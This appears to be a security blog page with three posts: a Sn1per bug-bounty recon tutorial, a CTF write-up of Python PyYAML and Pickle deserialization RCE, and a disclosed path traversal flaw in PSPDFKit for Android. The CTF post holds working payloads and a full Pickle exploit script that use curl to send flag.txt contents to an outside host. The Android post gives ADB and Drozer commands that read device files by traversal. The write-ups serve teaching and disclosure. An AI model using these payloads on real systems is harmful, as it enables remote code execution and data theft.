Bug Bounty Recon Like A Pro

Overview

In this blog post, I will cover the basic steps to performing bug bounty recon against large, open scoped programs and penetration tests.

If you’re like most starting out, this process can seem daunting and overwhelming depending on how many hosts you’re dealing with. Twitter for instance has 20,000+ subdomains and a HUGE attack surface to go through. How do you know where to focus your time? How do you keep track of which hosts you scanned and reviewed? These questions can quickly lead you spinning in circles, wasting valuable time while more experienced hunters get the gold. Luckily, there are tools and methodologies that can assist and make your life easier as a bug bounty hunter or penetration tester. This is where Sn1per comes in…

What is Sn1per?

Sn1per is an automated pentest reconnaissance scanner that can be used during penetration tests and bug bounties and to enumerate targets and scan for vulnerabilities. There are two versions of Sn1per available depending on your needs. Sn1per Community Edition (CE) is the open source scan engine that is maintained on Github (https://github.com/1N3/Sn1per). Sn1per Professional is XeroSecurity’s premium reporting add on for Sn1per and is available exclusively from the XeroSecurity website (https://xerosecurity.com).

Installation

Installation is extremely easy. Just clone the Github repo (git clone https://github.com/1N3/Sn1per) and run ./install.sh from a Kali Linux OS. This will install all tools and dependencies which are used to collect recon info and scan for vulnerabilities.

Scoping your target

So we have Sn1per installed and we’ve recited “The Rifleman’s Creed” a few times, the next phase is scoping our target. This is fairly obvious but we need to carefully review the bug bounty or pentest scope which gives us legal permission to test without getting thrown in prison. If you find yourself getting outside the intended scope, you’ve been warned – This “could” land you in jail!.
Now that the legal disclaimer is out of the way, what’s the first step?

Tactical Reconnaissance & OSINT

The first step in your reconnaissance process should be enumerating all subdomains and hosts within the target scope. For this, we’re interested in any wildcard domains (ie. *.target.com). In this case, it is up to the researcher to hunt for subdomains and hosts which fall within this target scope but haven’t been explicitly stated. For this, we will use sniper to actively and passively scan a target domain for subdomains via the -re switch and we’ll create a new workspace to store all our hosts via the -w switch. Additionally, we’ll also add the –osint switch to our scan to perform basic OSINT (Open Source Intelligence Gathering) searches on the target domain. This can reveal tons of useful information such as email addresses, public domains, documents, usernames, software used, whois info, reverse IP lookups, virtual hosts, etc. In addition, Sn1per will perform basic checks for subdomain hijacking and takeovers.
sniper -t target.com --recon --osint -w workspace_alias
This will store a complete list of all subdomains discovered and sorted at the following location:
/usr/share/sniper/loot/workspace/<WORKSPACE_ALIAS>/domains/domains-all-sorted.txt

Calling In The Airstrike…

 

Now that we’ve enumerated all subdomains for the in-scope wildcard domain, we need to quickly enumerate all hosts with a high level flyover. This can be done by passing our host list from the previous step via the -f switch and running sniper in airstrike mode via the -m airstrike options. This will store all gathered data to our workspace and combine the data from all hosts scanned under /usr/share/sniper/loot/workspace/<WORKSPACE_ALIAS>/. Some basic info gathered from this mode include: DNS, open ports, HTTP headers, SSL ciphers, web fingerprints, TCP banners, WAF detection and basic file/directory and passive URL discovery.
sniper -f /usr/share/sniper/loot/workspace/<WORKSPACE_ALIAS>/domains/domains-all-sorted.txt -m airstrike -w workspace

Summary

After the Sn1per finishes scanning all hosts in our workspace, Sn1per Professional gives us some high level info via the console for each host as shown below. This will help us get a high level visual of the attack surface based on which ports are open, interesting HTTP headers, page titles and DNS records. It will become very clear that if the host has no DNS or open ports, there probably isn’t much of an attack surface to dig into further. It’s best to focus on interesting ports (ie. port 21 (FTP), port 22 (SSH), 3306 (MySQL), etc.) and web targets with interesting headers (ie. Server: Apache Tomcat v7.0.0) may be vulnerable and have known exploit code available.

Professional Reporting Interface

After our report gets generated, we can see Sn1per enumerated and scanned 1268 unique hosts automatically. As a penetration tester, you can now sift through all the information contained in your workspace to begin looking for interesting hosts and potential vulnerabilities. To help us manage all this data, we will leverage Sn1per Professional for the next steps in the process. Sn1per Professional offers the following features to help make our lives a bit easier.

Features:

– Professional reporting interface.
– Slideshow for all gathered screenshots.
– Searchable and sortable DNS, IP and open port database.
– Quick links to online recon tools and Google hacking queries.
– Personalized notes field for each host.

Demo Video:

Slideshow For All Gathered Screenshots

From here, we can perform visual recon via the “Slideshow” feature in Sn1per Pro. This can reveal all sorts of potentially interesting hosts which can help identify which hosts need to be scanned further for more information.

Searchable/Sortable DNS, IP and Open Port Database

To supplement our surface level reconnaissance, we can also utilize the “Port List” feature which provides a widget of all subdomains, open ports, DNS and page titles. All data stored within this widget can then be sorted and searched for based on your needs (ie. If you’re looking for port 22/tcp (SSH), search for “22”. If you want to find all virtual hosts in the environment based on the same page title, enter the full page title (ie. “Overstock Cars”), etc. The possibilities here are endless but we can quickly find interesting hosts and ports or DNS records using this feature in Sn1per Professional.

Conclusion

This concludes part one of this series. This is by no means a comprehensive recon tutorial, but it should be enough to get you started in the process. Stay tuned for more recon tips and tricks for getting the most out of your bug bounty and pentest recon with Sn1per.
@xer0dayz

 

Exploiting Python Deserialization Vulnerabilities

Over the weekend, I had a chance to participate in the ToorConCTF (https://twitter.com/toorconctf) which gave me my first experience with serialization flaws in Python. Two of the challenges we solved included Python libraries that appeared to be accepting serialized objects and ended up being vulnerable to Remote Code Execution (RCE). Since I struggled a bit to find reference material online on the subject, I decided to make a blog post documenting my discoveries, exploit code and solutions. In this blog post, I will cover how to exploit deserialization vulnerabilities in the PyYAML (a Python YAML library) and Python Pickle libraries (a Python serialization library). Let’s get started!

Background


Before diving into the challenges, it’s probably important to start with the basics. If you are unfamilliar with deserialization vulnerabilities, the following exert from @breenmachine at Fox Glove Security (https://foxglovesecurity.com) probably explains it the best.

“Unserialize vulnerabilities are a vulnerability class. Most programming languages provide built-in ways for users to output application data to disk or stream it over the network. The process of converting application data to another format (usually binary) suitable for transportation is called serialization. The process of reading data back in after it has been serialized is called unserialization. Vulnerabilities arise when developers write code that accepts serialized data from users and attempt to unserialize it for use in the program. Depending on the language, this can lead to all sorts of consequences, but most interesting, and the one we will talk about here is remote code execution.”

PyYAML Deserialization Remote Code Execution


In the first challenge, we were presented with a URL to a web page which included a YAML document upload form. After Googling for YAML document examples, I crafted the following YAML file and proceeded to upload it to get a feel for the functionality of the form.

HTTP Request


POST / HTTP/1.1
Host: ganon.39586ebba722e94b.ctf.land:8001
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
Content-Length: 857

-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="file"; filename="test.yaml"
Content-Type: application/x-yaml

---
# A list of global configuration variables
# # Uncomment lines as needed to edit default settings.
# # Note this only works for settings with default values. Some commands like --rerun <module>
# # or --force-ccd n will have to be set in the command line (if you need to)
#
# # This line is really important to set up properly
# project_path: '/home/user'
#
# # The rest of the settings will default to the values set unless you uncomment and change them
# #resize_to: 2048
'test'
-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="upload"


-----------------------------200783363553063815533894329--

HTTP/1.1 200 OK
Server: gunicorn/19.7.1
Date: Sun, 03 Sep 2017 02:50:16 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 2213
Set-Cookie: session=; Expires=Thu, 01-Jan-1970 00:00:00 GMT; Max-Age=0; Path=/

<!-- begin message block -->
<div class="container flashed-messages">
  <div class="row">
    <div class="col-md-12">
      <div class="alert alert-info" role="alert">

        test.yaml is valid YAML
      </div>
    </div>
  </div>
</div>
<!-- end message block -->

    </div>

</div>

  <div class="container main" >
    <div class="row">
        <div class="col-md-12 main">
            
  <code></code>

As you can see, the document was uploaded successfully but only displayed whether the upload was a valid YAML document or not. At this point, I wasn’t sure exactly what I was supposed to do, but after looking more closely at the response, I noticed that the server was running gunicorn/19.7.1…

A quick search for gunicorn revealed that it is a Python web server which lead me to believe the YAML parser was in fact a Python library. From here, I decided to search for Python YAML vulnerabilities and discovered a few blog posts referencing PyYAML deserialization flaws. It was here that I came across the following exploit code for exploiting PyYAML deserialization vulnerabilities. The important thing here is the following code which runs the ‘ls’ command if the application is vulnerable to PyYaml deserialization:


!!map {
  ? !!str "goodbye"
  : !!python/object/apply:subprocess.check_output [
    !!str "ls",
  ],
}

Going blind into the exploitation phase, I decided to give it a try and inject the payload into the document contents being uploaded using Burpsuite…

HTTP Request


POST / HTTP/1.1
Host: ganon.39586ebba722e94b.ctf.land:8001
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
Content-Length: 445

-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="file"; filename="test.yaml"
Content-Type: application/x-yaml

---
!!map {
  ? !!str "goodbye"
  : !!python/object/apply:subprocess.check_output [
    !!str "ls",
  ],
}

-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="upload"


-----------------------------200783363553063815533894329--

<ul><li><code>goodbye</code> : <code>Dockerfile
README.md
app.py
app.pyc
bin
boot
dev
docker-compose.yml
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
requirements.txt
root
run
sbin
srv
static
sys
templates
test.py
tmp
usr
var
</code></li></ul>

As you can see, the payload worked and we now have code execution on the target server! Now, all we need to do is read the flag.txt…

I quickly discovered a limitaton of the above method was strictly limited to single commands (ie. ls, whoami, etc.) which meant there was no way to read the flag using this method. I then discovered that the os.system Python call could also be to achieve RCE and was capable of running multiple commands inline. However, I was quickly disasspointed after trying this and seeing that the result just returned “0” and I could not see my command output. After struggling to find the solution, my teamate @n0j pointed out that the os.system [“command_here” ] only returns a “0” exit code if the command is successful and is blind due to how Python handles sub process execution. It was here that I tried injecting the following command to read the flag: curl https://xerosecurity.com/?`cat flag.txt`

HTTP Request


POST / HTTP/1.1
Host: ganon.39586ebba722e94b.ctf.land:8001
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
Content-Length: 438

-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="file"; filename="test.yaml"
Content-Type: application/x-yaml

---
"goodbye": !!python/object/apply:os.system ["curl https://xerosecurity.com/?`cat flag.txt`"]

-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="upload"


-----------------------------200783363553063815533894329--


</div>

  <div class="container main" >
    <div class="row">
        <div class="col-md-12 main">
            
  <ul><li><code>goodbye</code> : <code>0</code></li></ul>
            
        </div>
    </div>
  </div>

After much trial and error, the flag was ours along with 250pts in the CTF!

Remote Apache Logs


34.214.16.74 - - [02/Sep/2017:21:12:11 -0700] "GET /?ItsCaptainCrunchThatsZeldasFavorite HTTP/1.1" 200 1937 "-" "curl/7.38.0"

 

Python Pickle Deserialization


In the next CTF challenge, we were provided a host and port to connect to (ganon.39586ebba722e94b.ctf.land:8000). After initial connection however, no noticable output was displayed so I proceeded to fuzz the open port with random characters and HTTP requests to see what happened. It wasn’t until I tried injecting a single “‘” charecter that I received the error below:


# nc -v ganon.39586ebba722e94b.ctf.land 8000
ec2-34-214-16-74.us-west-2.compute.amazonaws.com [34.214.16.74] 8000 (?) open
cexceptions
AttributeError
p0
(S"Unpickler instance has no attribute 'persistent_load'"
p1
tp2
Rp3
.

The thing that stood out most was the (S”Unpickler instance has no attribute ‘persistent_load'” portion of the output. I immediately searched Google for the error which revealed several references to Python’s serialization library called “Pickle”.

It soon became clear that this was likely another Python deserialization flaw in order to obtain the flag. I then searched Google for “Python Pickle deserialization exploits” and discovered a similar PoC to the code below. After tinkering with the code a bit, I had a working exploit that would send Pickle serialized objects to the target server with the commands of my choice.

Exploit Code


#!/usr/bin/python
# Python Pickle De-serialization Exploit by [email protected] - https://xerosecurity.com
#

import os
import cPickle
import socket
import os

# Exploit that we want the target to unpickle
class Exploit(object):
    def __reduce__(self):
        # Note: this will only list files in your directory.
        # It is a proof of concept.
        return (os.system, ('curl https://xerosecurity.com/.injectx/rce.txt?`cat flag.txt`',))

def serialize_exploit():
    shellcode = cPickle.dumps(Exploit())
    return shellcode

def insecure_deserialize(exploit_code):
    cPickle.loads(exploit_code)

if __name__ == '__main__':
    shellcode = serialize_exploit()
    print shellcode

    soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    soc.connect(("ganon.39586ebba722e94b.ctf.land", 8000))
    print soc.recv(1024)

    soc.send(shellcode)
    print soc.recv(1024)
    soc.close()
Exploit PoC


# python python_pickle_poc.py
cposix
system
p1
(S"curl https://xerosecurity.com/rce.txt?`cat flag.txt`"
p2
tp3
Rp4
.

Much to my surprise, this worked and I could see the contents of the flag in my Apache logs!

Remote Apache Logs


34.214.16.74 - - [03/Sep/2017:11:15:02 -0700] "GET /rce.txt?UsuallyLinkPrefersFrostedFlakes HTTP/1.1" 404 2102 "-" "curl/7.38.0"

Conclusion


So there you have it. Two practicle examples of Python serialization which can be used to obtain Remote Code Execution (RCE) in remote applications. I had a lot of fun competing in the CTF and learned a lot in the process, but due to other obligations time constraints I wasn’t able to put my entire focus into the CTF. In the end, our team “SavageSubmarine” placed 7th overall. Till next time…

-1N3

 

Exploiting Path Traversal in PSPDFKit for Android (2.3.3 – 2.8.0)

 

Introduction

As part of my research into the Atlassian bug bounty program managed by BugCrowd (https://bugcrowd.com/atlassian), I recently discovered a directory traversal vulnerability in PSPDFKit for Android 2.3.3 – 2.8.0. After announcing my discovery on Twitter (https://twitter.com/crowdshield/status/889690387513724928), I received a few tweets asking for a tutorial and PoC of my discoveries and decided to create a blog post to document it. This particular vulnerability was discovered in the Atlassian Jira Cloud application and was verified to be fixed in the latest release.

Technical Background

The Jira Cloud Android application (com.atlassian.android.jira.core) is vulnerable to directory traversal via the following exported content provider: content://com.atlassian.android.jira.core.pdf.share/. This allows an attacker to view the local file system on the affected Android device from external 3rd party applications installed on the same device. To exploit this flaw, an attacker can create a malicious application which queries the content provider directly in order to retrieve specific files stored locally on the device. If the victim installs the malicious application, an attacker can read files stored locally on the device. Alternatively, the content provider can be queried directory via the Android debug bridge (ADB) and does not require “root” access.

Detection

To enumerate the Android application, I used reverse-apk (https://github.com/1N3/ReverseAPK) which is a tool I wrote to reverse APK files. This revealed an exported content provider named com.pspdfkit.document.sharing.DocumentSharingProvider which means 3rd party apps on the same device can query the provider directly.

# reverse-apk com.atlassian.android.jira.apk
... SNIP ...
Displaying Content Providers in AndroidManifest.xml...
=====================================================================
<provider android:authorities="com.atlassian.android.jira.core.pdf.share" android:exported="true"
android:grantUriPermissions="true" android:name="com.pspdfkit.document.sharing.DocumentSharingProvider"/>
... SNIP ...

Scanning

Next, I used Drozer to scan for common vulnerabilities such as SQL injection and directory traversal. This revealed a vulnerable content provider (content://com.atlassian.android.jira.core.pdf.share) but did not detail how to exploit the flaw.

# drozer console --server 127.0.0.1:31415 connect
drozer Console (v2.3.4)
dz> run scanner.provider.traversal -a com.atlassian.android.jira.core
Scanning com.atlassian.android.jira.core...
Not Vulnerable:
content://com.atlassian.android.jira.core.feedback.fileprovider
content://downloads/public_downloads
content://com.atlassian.android.jira.core/
content://com.atlassian.android.jira.core
content://com.atlassian.android.jira.core.pdf.assets
content://com.atlassian.android.jira.core.feedback.fileprovider/
content://downloads/public_downloads/
content://com.atlassian.android.jira.core.pdf.assets/
Vulnerable Providers:
content://com.atlassian.android.jira.core.pdf.share
content://com.atlassian.android.jira.core.pdf.share/
dz> run scanner.provider.traversal -a com.atlassian.android.jira.core
Scanning com.atlassian.android.jira.core...
Not Vulnerable:
content://com.atlassian.android.jira.core.feedback.fileprovider
content://downloads/public_downloads
content://com.atlassian.android.jira.core/
content://com.atlassian.android.jira.core
content://com.atlassian.android.jira.core.pdf.assets
content://com.atlassian.android.jira.core.feedback.fileprovider/
content://downloads/public_downloads/
content://com.atlassian.android.jira.core.pdf.assets/
Vulnerable Providers:
content://com.atlassian.android.jira.core.pdf.share
content://com.atlassian.android.jira.core.pdf.share/

Source Code Analysis

Drozer seemed to indicate that the content provider was vulnerable to directory traversal so I decided to take a look at the source code to confirm for myself. This was accomplished by running reverse-apk and opening the affected file. This confirmed that the content provider accepts URI strings via the ParcelFileDescriptor method and reads the contents (ParcelFileDescriptor.open(file, i);).

com.atlassian.android.jira.core.apk-jadx/com/pspdfkit/document/sharing/DocumentSharingProvider.java

public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
if (uri.getPath() == null) {
throw new FileNotFoundException(uri + " has empty path.");
} else if (getContext() == null) {
throw new IllegalStateException("Context was null.");
} else {
try {
int i;
File file = new File(getSharedFileDirectory(getContext()), uri.getPath());
if ("r".equals(mode)) {
i = 268435456;
} else if ("w".equals(mode) || "wt".equals(mode)) {
i = 738197504;
} else if ("wa".equals(mode)) {
i = 704643072;
} else if ("rw".equals(mode)) {
i = 939524096;
} else if ("rwt".equals(mode)) {
i = 1006632960;
} else {
i = 0;
}
return ParcelFileDescriptor.open(file, i);
} catch (IOException e) {
throw new FileNotFoundException(uri.toString() + " was not found.");
}
}
}

Exploitation

Now that I knew the content provider was vulnerable, I had to actually exploit this to do something useful. To do this, I used ADB (Android Debug Bridge) and Drozer (they essentially are the same thing and yield the same result..).

Drozer PoC

run app.provider.read content://com.atlassian.android.jira.core.pdf.share/.//..//.//..//.//..//.//..
//.//..//.//..//.//..//.//..///etc/hosts
127.0.0.1 localhost

ADB PoC

adb shell content query --uri content://com.atlassian.android.jira.core.pdf.share/.//..//.//..//.//..
//.//..//.//..//.//..//.//..//.//..///etc/hosts
127.0.0.1 localhost

Conclusion

After discovering the flaw, I reported the issue to Atlassian via BugCrowd and the issue was triaged by a BugCrowd analyst. Unfortunately, Atlassian later came back and reported that this issue was a duplicate and noted that this was a known issue affecting PSPDFKit for Android and has since been patched. As a consolation, I figured this would make a good blog post and Atlassian was nice enough to allow me to disclose the details publicly. The original advisory for PSPDFKit can be found below.

References

https://pspdfkit.com/guides/android/current/announcements/path-traversal-vulnerability/

Credit: [email protected]